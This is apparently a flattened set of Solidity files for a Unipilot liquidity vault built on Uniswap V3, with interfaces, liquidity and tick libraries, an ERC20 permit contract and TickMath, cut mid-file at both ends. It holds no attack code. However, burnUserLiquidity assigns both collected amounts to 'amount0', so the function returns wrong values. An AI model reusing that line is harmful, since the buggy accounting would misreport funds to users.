function withdraw(uint256) external;
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface IUnipilotVault {
struct ReadjustVars {
uint256 fees0;
uint256 fees1;
int24 currentTick;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint128 liquidity;
uint256 amount0;
uint256 amount1;
bool zeroForOne;
int256 amountSpecified;
uint160 exactSqrtPriceImpact;
uint160 sqrtPriceLimitX96;
}
struct TicksData {
int24 baseTickLower;
int24 baseTickUpper;
int24 rangeTickLower;
int24 rangeTickUpper;
}
struct Tick {
int24 baseTickLower;
int24 baseTickUpper;
int24 bidTickLower;
int24 bidTickUpper;
int24 rangeTickLower;
int24 rangeTickUpper;
}
struct Cache {
uint256 totalSupply;
uint256 liquidityShare;
}
event Deposit(
address indexed depositor,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 lpShares
);
event FeesSnapshot(bool isReadjustLiquidity, uint256 fees0, uint256 fees1);
event Withdraw(
address indexed recipient,
uint256 shares,
uint256 amount0,
uint256 amount1
);
event PullLiquidity(
uint256 reserves0,
uint256 reserves1,
uint256 fees0,
uint256 fees1
);
event CompoundFees(uint256 amount0, uint256 amount1);
/// @notice Deposits tokens in proportion to the Unipilot's current holdings & mints them
/// `Unipilot`s LP token.
/// @param amount0Desired Max amount of token0 to deposit
/// @param amount1Desired Max amount of token1 to deposit
/// @param recipient Recipient of shares
/// @return lpShares Number of shares minted
/// @return amount0 Amount of token0 deposited in vault
/// @return amount1 Amount of token1 deposited in vault
function deposit(
uint256 amount0Desired,
uint256 amount1Desired,
address recipient
)
external
payable
returns (
uint256 lpShares,
uint256 amount0,
uint256 amount1
);
/// @notice Withdraws the desired shares from the vault with accumulated user fees and transfers to recipient.
/// @param recipient Recipient of tokens
/// @param refundAsETH whether to recieve in WETH or ETH (only valid for WETH/ALT pairs)
/// @return amount0 Amount of token0 sent to recipient
/// @return amount1 Amount of token1 sent to recipient
function withdraw(
uint256 liquidity,
address recipient,
bool refundAsETH
) external returns (uint256 amount0, uint256 amount1);
/// @notice Pull in tokens from sender. Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.
/// @dev In the implementation you must pay to the pool for the minted liquidity.
/// @param amount0Owed The amount of token0 due to the pool for the minted liquidity
/// @param amount1Owed The amount of token1 due to the pool for the minted liquidity
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call
function uniswapV3MintCallback(
uint256 amount0Owed,
uint256 amount1Owed,
bytes calldata data
) external;
/// @notice Called to `msg.sender` after minting swaping from IUniswapV3Pool#swap.
/// @dev In the implementation you must pay to the pool for swap.
/// @param amount0Delta The amount of token0 due to the pool for the swap
/// @param amount1Delta The amount of token1 due to the pool for the swap
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
/// @notice Burns all position(s), collects any fees accrued and updates Unipilot's position(s)
/// @dev mints all amounts to this position(s) (including earned fees)
/// @dev For active vaults it can be called by the governance or operator,
/// swaps imbalanced token and add all liquidity in base position.
/// @dev For passive vaults it can be called by any user.
/// Two positions are placed - a base position and a limit position. The base
/// position is placed first with as much liquidity as possible. This position
/// should use up all of one token, leaving only the other one. This excess
/// amount is then placed as a single-sided bid or ask position.
function readjustLiquidity() external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.6;
pragma abicoder v2;
interface IUnipilotStrategy {
struct PoolStrategy {
int24 baseThreshold;
int24 rangeThreshold;
int24 maxTwapDeviation;
int24 readjustThreshold;
uint32 twapDuration;
int24 baseMultiplier;
}
event GovernanceUpdated(address oldGovernance, address newGovernance);
event StrategyUpdated(PoolStrategy oldStrategy, PoolStrategy newStrategy);
event MaxTwapDeviationUpdated(int24 oldDeviation, int24 newDeviation);
event BaseTicksUpdated(int24 oldBaseTicks, int24 newBaseTicks);
event RangeTicksUpdated(int24 oldRangeTicks, int24 newRangeTicks);
event TwapDurationUpdated(uint32 oldDuration, uint32 newDuration);
event ReadjustMultiplierUpdated(int24 oldMultiplier, int24 newMultiplier);
function getTicks(address _pool)
external
returns (
int24 baseLower,
int24 baseUpper,
int24 bidLower,
int24 bidUpper,
int24 askLower,
int24 askUpper
);
function getTwap(address _pool) external view returns (int24);
function getStrategy(address _pool)
external
view
returns (PoolStrategy memory strategy);
function getBaseThreshold(address _pool)
external
view
returns (int24 baseThreshold);
function twapDuration() external view returns (uint32);
function maxTwapDeviation() external view returns (int24);
function checkDeviation(address pool) external view;
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
/// @title The interface for the Unipilot Factory
interface IUnipilotFactory {
/// @notice Emitted when a vault is created
/// @param _tokenA The first token of the pool by address sort order
/// @param _tokenB The second token of the pool by address sort order
/// @param _fee The fee tier for which the vault is created
/// @param _vault The address of the vault that is created
event VaultCreated(
address indexed _tokenA,
address indexed _tokenB,
uint24 _fee,
address indexed _vault
);
/// @notice Emitted when the governance of the factory is changed
/// @param _oldGovernance The governance before the governance was changed
/// @param _newGovernance The governance after the governance was changed
event GovernanceChanged(
address indexed _oldGovernance,
address indexed _newGovernance
);
/// @notice Creates a vault for the given two tokens and fee
/// @param _tokenA The first token of the pool by address sort order
/// @param _tokenB The second token of the pool by address sort order
/// @param _fee The desired fee for the unipilot vault
/// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0.
/// The call will revert if the vault already exists, the fee is invalid, or the token arguments
/// are invalid.
/// @return _vault The address of the newly created pool
function createVault(
address _tokenA,
address _tokenB,
uint24 _fee,
uint160 _sqrtPriceX96,
string memory _name,
string memory _symbol
) external returns (address _vault);
/// @notice Returns the vault address for a given uniswap v3 pair of tokens and a fee
/// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order
/// @param tokenA The contract address of either token0 or token1
/// @param tokenB The contract address of the other token
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @return vault The vault address
function vaults(
address tokenA,
address tokenB,
uint24 fee
) external view returns (address vault);
/// @notice Returns the status for a given account that can recieve the vault reserves after pull liquidity
/// @dev by default vault address will be whitelist as a recipient in order to resist IL
/// @dev Only applicable for active vaults
function isWhitelist(address recipient) external view returns (bool);
/// @notice Used to give addresses of governance, strategy, indexFund
/// @return governance address, strategy address, indexFund address
function getUnipilotDetails()
external
view
returns (
address,
address,
address,
uint8,
uint8
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import "./UniswapPoolActions.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import "@uniswap/v3-core/contracts/libraries/SqrtPriceMath.sol";
import "@uniswap/v3-periphery/contracts/libraries/PositionKey.sol";
import "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol";
import "../interfaces/IUnipilotVault.sol";
/// @title Liquidity and ticks functions
/// @notice Provides functions for computing liquidity and ticks for token amounts and prices
library UniswapLiquidityManagement {
using LowGasSafeMath for uint256;
struct Info {
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0;
uint256 amount1;
uint128 liquidity;
int24 tickLower;
int24 tickUpper;
}
/// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`.
/// @param pool Uniswap V3 pool
/// @param liquidity The liquidity being valued
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return amounts of token0 and token1 that corresponds to liquidity
function getAmountsForLiquidity(
IUniswapV3Pool pool,
uint128 liquidity,
int24 _tickLower,
int24 _tickUpper
) internal view returns (uint256, uint256) {
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getAmountsForLiquidity(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(_tickLower),
TickMath.getSqrtRatioAtTick(_tickUpper),
liquidity
);
}
/// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`.
/// @param pool Uniswap V3 pool
/// @param amount0 The amount of token0
/// @param amount1 The amount of token1
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return The maximum amount of liquidity that can be held amount0 and amount1
function getLiquidityForAmounts(
IUniswapV3Pool pool,
uint256 amount0,
uint256 amount1,
int24 _tickLower,
int24 _tickUpper
) internal view returns (uint128) {
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getLiquidityForAmounts(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(_tickLower),
TickMath.getSqrtRatioAtTick(_tickUpper),
amount0,
amount1
);
}
/// @dev Amount of liquidity in contract position.
/// @param pool Uniswap V3 pool
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return liquidity stored in position
function getPositionLiquidity(
IUniswapV3Pool pool,
int24 _tickLower,
int24 _tickUpper
)
internal
view
returns (
uint128 liquidity,
uint128 tokensOwed0,
uint128 tokensOwed1
)
{
bytes32 positionKey = PositionKey.compute(
address(this),
_tickLower,
_tickUpper
);
(liquidity, , , tokensOwed0, tokensOwed1) = pool.positions(positionKey);
}
/// @dev Rounds tick down towards negative infinity so that it's a multiple
/// of `tickSpacing`.
function floor(int24 tick, int24 tickSpacing)
internal
pure
returns (int24)
{
int24 compressed = tick / tickSpacing;
if (tick < 0 && tick % tickSpacing != 0) compressed--;
return compressed * tickSpacing;
}
function getSqrtRatioX96AndTick(IUniswapV3Pool pool)
internal
view
returns (
uint160 _sqrtRatioX96,
int24 _tick,
uint16 observationCardinality
)
{
(_sqrtRatioX96, _tick, , observationCardinality, , , ) = pool.slot0();
}
/// @dev Calc base ticks depending on base threshold and tickspacing
function getBaseTicks(
int24 currentTick,
int24 baseThreshold,
int24 tickSpacing
) internal pure returns (int24 tickLower, int24 tickUpper) {
int24 tickFloor = floor(currentTick, tickSpacing);
tickLower = tickFloor - baseThreshold;
tickUpper = tickFloor + baseThreshold;
}
function collectableAmountsInPosition(
IUniswapV3Pool pool,
int24 _lowerTick,
int24 _upperTick
)
internal
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
(
uint128 liquidity,
uint128 earnable0,
uint128 earnable1
) = getPositionLiquidity(pool, _lowerTick, _upperTick);
(uint256 burnable0, uint256 burnable1) = UniswapLiquidityManagement
.getAmountsForLiquidity(pool, liquidity, _lowerTick, _upperTick);
return (burnable0, burnable1, earnable0, earnable1);
}
function computeLpShares(
IUniswapV3Pool pool,
bool isWhitelisted,
uint256 amount0Max,
uint256 amount1Max,
uint256 balance0,
uint256 balance1,
uint256 totalSupply,
IUnipilotVault.TicksData memory ticks
)
internal
returns (
uint256 shares,
uint256 amount0,
uint256 amount1
)
{
(
uint256 res0,
uint256 res1,
uint256 fees0,
uint256 fees1,
,
) = getTotalAmounts(pool, isWhitelisted, ticks);
uint256 reserve0 = res0.add(fees0).add(balance0);
uint256 reserve1 = res1.add(fees1).add(balance1);
// If total supply > 0, pool can't be empty
assert(totalSupply == 0 || reserve0 != 0 || reserve1 != 0);
(shares, amount0, amount1) = calculateShare(
amount0Max,
amount1Max,
reserve0,
reserve1,
totalSupply
);
}
function getTotalAmounts(
IUniswapV3Pool pool,
bool isWhitelisted,
IUnipilotVault.TicksData memory ticks
)
internal
returns (
uint256 amount0,
uint256 amount1,
uint256 fees0,
uint256 fees1,
uint128 baseLiquidity,
uint128 rangeLiquidity
)
{
(amount0, amount1, fees0, fees1, baseLiquidity) = getReserves(
pool,
ticks.baseTickLower,
ticks.baseTickUpper
);
if (!isWhitelisted) {
(
uint256 range0,
uint256 range1,
uint256 rangeFees0,
uint256 rangeFees1,
uint128 rangeliquidity
) = getReserves(pool, ticks.rangeTickLower, ticks.rangeTickUpper);
amount0 = amount0.add(range0);
amount1 = amount1.add(range1);
fees0 = fees0.add(rangeFees0);
fees1 = fees1.add(rangeFees1);
rangeLiquidity = rangeliquidity;
}
}
function getReserves(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper
)
internal
returns (
uint256 amount0,
uint256 amount1,
uint256 fees0,
uint256 fees1,
uint128 liquidity
)
{
liquidity = UniswapPoolActions.updatePosition(
pool,
tickLower,
tickUpper
);
if (liquidity > 0) {
(amount0, amount1, fees0, fees1) = collectableAmountsInPosition(
pool,
tickLower,
tickUpper
);
}
}
function calculateShare(
uint256 amount0Max,
uint256 amount1Max,
uint256 reserve0,
uint256 reserve1,
uint256 totalSupply
)
internal
pure
returns (
uint256 shares,
uint256 amount0,
uint256 amount1
)
{
if (totalSupply == 0) {
// For first deposit, just use the amounts desired
amount0 = amount0Max;
amount1 = amount1Max;
shares = amount0 > amount1 ? amount0 : amount1; // max
} else if (reserve0 == 0) {
amount1 = amount1Max;
shares = FullMath.mulDiv(amount1, totalSupply, reserve1);
} else if (reserve1 == 0) {
amount0 = amount0Max;
shares = FullMath.mulDiv(amount0, totalSupply, reserve0);
} else {
amount0 = FullMath.mulDiv(amount1Max, reserve0, reserve1);
if (amount0 < amount0Max) {
amount1 = amount1Max;
shares = FullMath.mulDiv(amount1, totalSupply, reserve1);
} else {
amount0 = amount0Max;
amount1 = FullMath.mulDiv(amount0, reserve1, reserve0);
shares = FullMath.mulDiv(amount0, totalSupply, reserve0);
}
}
}
/// @dev Gets ticks with proportion equivalent to desired amount
/// @param pool Uniswap V3 pool
/// @param amount0Desired The desired amount of token0
/// @param amount1Desired The desired amount of token1
/// @param baseThreshold The range for upper and lower ticks
/// @param tickSpacing The pool tick spacing
/// @return tickLower The lower tick of the range
/// @return tickUpper The upper tick of the range
function getPositionTicks(
IUniswapV3Pool pool,
uint256 amount0Desired,
uint256 amount1Desired,
int24 baseThreshold,
int24 tickSpacing
) internal view returns (int24 tickLower, int24 tickUpper) {
Info memory cache = Info(amount0Desired, amount1Desired, 0, 0, 0, 0, 0);
// Get current price and tick from the pool
(uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0();
//Calc base ticks
(cache.tickLower, cache.tickUpper) = getBaseTicks(
currentTick,
baseThreshold,
tickSpacing
);
//Calc amounts of token0 and token1 that can be stored in base range
(cache.amount0, cache.amount1) = getAmountsForTicks(
pool,
cache.amount0Desired,
cache.amount1Desired,
cache.tickLower,
cache.tickUpper
);
// //Liquidity that can be stored in base range
cache.liquidity = getLiquidityForAmounts(
pool,
cache.amount0,
cache.amount1,
cache.tickLower,
cache.tickUpper
);
// //Get imbalanced token
bool zeroGreaterOne = amountsDirection(
cache.amount0Desired,
cache.amount1Desired,
cache.amount0,
cache.amount1
);
//Calc new tick(upper or lower) for imbalanced token
if (zeroGreaterOne) {
uint160 nextSqrtPrice0 = SqrtPriceMath
.getNextSqrtPriceFromAmount0RoundingUp(
sqrtPriceX96,
cache.liquidity,
cache.amount0Desired,
false
);
cache.tickUpper = floor(
TickMath.getTickAtSqrtRatio(nextSqrtPrice0),
tickSpacing
);
} else {
uint160 nextSqrtPrice1 = SqrtPriceMath
.getNextSqrtPriceFromAmount1RoundingDown(
sqrtPriceX96,
cache.liquidity,
cache.amount1Desired,
false
);
cache.tickLower = floor(
TickMath.getTickAtSqrtRatio(nextSqrtPrice1),
tickSpacing
);
}
checkRange(cache.tickLower, cache.tickUpper);
/// floor the tick again because one tick is still not valid tick due to + - baseThreshold
tickLower = floor(cache.tickLower, tickSpacing);
tickUpper = floor(cache.tickUpper, tickSpacing);
}
/// @dev Gets amounts of token0 and token1 that can be stored in range of upper and lower ticks
/// @param pool Uniswap V3 pool
/// @param amount0Desired The desired amount of token0
/// @param amount1Desired The desired amount of token1
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return amount0 amounts of token0 that can be stored in range
/// @return amount1 amounts of token1 that can be stored in range
function getAmountsForTicks(
IUniswapV3Pool pool,
uint256 amount0Desired,
uint256 amount1Desired,
int24 _tickLower,
int24 _tickUpper
) internal view returns (uint256 amount0, uint256 amount1) {
uint128 liquidity = getLiquidityForAmounts(
pool,
amount0Desired,
amount1Desired,
_tickLower,
_tickUpper
);
(amount0, amount1) = getAmountsForLiquidity(
pool,
liquidity,
_tickLower,
_tickUpper
);
}
/// @dev Common checks for valid tick inputs.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
function checkRange(int24 tickLower, int24 tickUpper) internal pure {
require(tickLower < tickUpper, "TLU");
require(tickLower >= TickMath.MIN_TICK, "TLM");
require(tickUpper <= TickMath.MAX_TICK, "TUM");
}
/// @dev Get imbalanced token
/// @param amount0Desired The desired amount of token0
/// @param amount1Desired The desired amount of token1
/// @param amount0 Amounts of token0 that can be stored in base range
/// @param amount1 Amounts of token1 that can be stored in base range
/// @return zeroGreaterOne true if token0 is imbalanced. False if token1 is imbalanced
function amountsDirection(
uint256 amount0Desired,
uint256 amount1Desired,
uint256 amount0,
uint256 amount1
) internal pure returns (bool zeroGreaterOne) {
zeroGreaterOne = amount0Desired.sub(amount0).mul(amount1Desired) >
amount1Desired.sub(amount1).mul(amount0Desired)
? true
: false;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import "./SafeCastExtended.sol";
import "./UniswapLiquidityManagement.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/libraries/FullMath.sol";
import "@uniswap/v3-core/contracts/libraries/LowGasSafeMath.sol";
/// @title Liquidity and ticks functions
/// @notice Provides functions for computing liquidity and ticks for token amounts and prices
library UniswapPoolActions {
using LowGasSafeMath for uint256;
using SafeCastExtended for uint256;
using UniswapLiquidityManagement for IUniswapV3Pool;
function updatePosition(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper
) internal returns (uint128 liquidity) {
(liquidity, , ) = pool.getPositionLiquidity(tickLower, tickUpper);
if (liquidity > 0) {
pool.burn(tickLower, tickUpper, 0);
}
}
function burnLiquidity(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper,
address recipient
)
internal
returns (
uint256 amount0,
uint256 amount1,
uint256 fees0,
uint256 fees1
)
{
(uint128 liquidity, , ) = pool.getPositionLiquidity(
tickLower,
tickUpper
);
if (liquidity > 0) {
(amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity);
if (amount0 > 0 || amount1 > 0) {
(uint256 collect0, uint256 collect1) = pool.collect(
recipient,
tickLower,
tickUpper,
type(uint128).max,
type(uint128).max
);
(fees0, fees1) = (collect0.sub(amount0), collect1.sub(amount1));
}
}
}
function burnUserLiquidity(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper,
uint256 userSharePercentage,
address recipient
) internal returns (uint256 amount0, uint256 amount1) {
(uint128 liquidity, , ) = pool.getPositionLiquidity(
tickLower,
tickUpper
);
uint256 liquidityRemoved = FullMath.mulDiv(
uint256(liquidity),
userSharePercentage,
1e18
);
(amount0, amount1) = pool.burn(
tickLower,
tickUpper,
liquidityRemoved.toUint128()
);
if (amount0 > 0 || amount1 > 0) {
(amount0, amount0) = pool.collect(
recipient,
tickLower,
tickUpper,
amount0.toUint128(),
amount1.toUint128()
);
}
}
function mintLiquidity(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper,
uint256 amount0Desired,
uint256 amount1Desired
) internal returns (uint256 amount0, uint256 amount1) {
uint128 liquidity = pool.getLiquidityForAmounts(
amount0Desired,
amount1Desired,
tickLower,
tickUpper
);
if (liquidity > 0) {
(amount0, amount1) = pool.mint(
address(this),
tickLower,
tickUpper,
liquidity,
abi.encode(address(this))
);
}
}
function swapToken(
IUniswapV3Pool pool,
address recipient,
bool zeroForOne,
int256 amountSpecified
) internal {
(uint160 sqrtPriceX96, , ) = pool.getSqrtRatioX96AndTick();
uint160 exactSqrtPriceImpact = (sqrtPriceX96 * (1e5 / 2)) / 1e6;
uint160 sqrtPriceLimitX96 = zeroForOne
? sqrtPriceX96 - exactSqrtPriceImpact
: sqrtPriceX96 + exactSqrtPriceImpact;
pool.swap(
recipient,
zeroForOne,
amountSpecified,
sqrtPriceLimitX96,
abi.encode(zeroForOne)
);
}
function collectPendingFees(
IUniswapV3Pool pool,
address recipient,
int24 tickLower,
int24 tickUpper
) internal returns (uint256 collect0, uint256 collect1) {
updatePosition(pool, tickLower, tickUpper);
(collect0, collect1) = pool.collect(
recipient,
tickLower,
tickUpper,
type(uint128).max,
type(uint128).max
);
}
function rerangeLiquidity(
IUniswapV3Pool pool,
int24 baseThreshold,
int24 tickSpacing,
uint256 balance0,
uint256 balance1
) internal returns (int24 tickLower, int24 tickUpper) {
(tickLower, tickUpper) = pool.getPositionTicks(
balance0,
balance1,
baseThreshold,
tickSpacing
);
mintLiquidity(pool, tickLower, tickUpper, balance0, balance1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.5 <0.8.0;
import "../token/ERC20/ERC20.sol";
import "./IERC20Permit.sol";
import "../cryptography/ECDSA.sol";
import "../utils/Counters.sol";
import "./EIP712.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping (address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {
}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(
abi.encode(
_PERMIT_TYPEHASH,
owner,
spender,
value,
_nonces[owner].current(),
deadline
)
);
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_nonces[owner].increment();
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
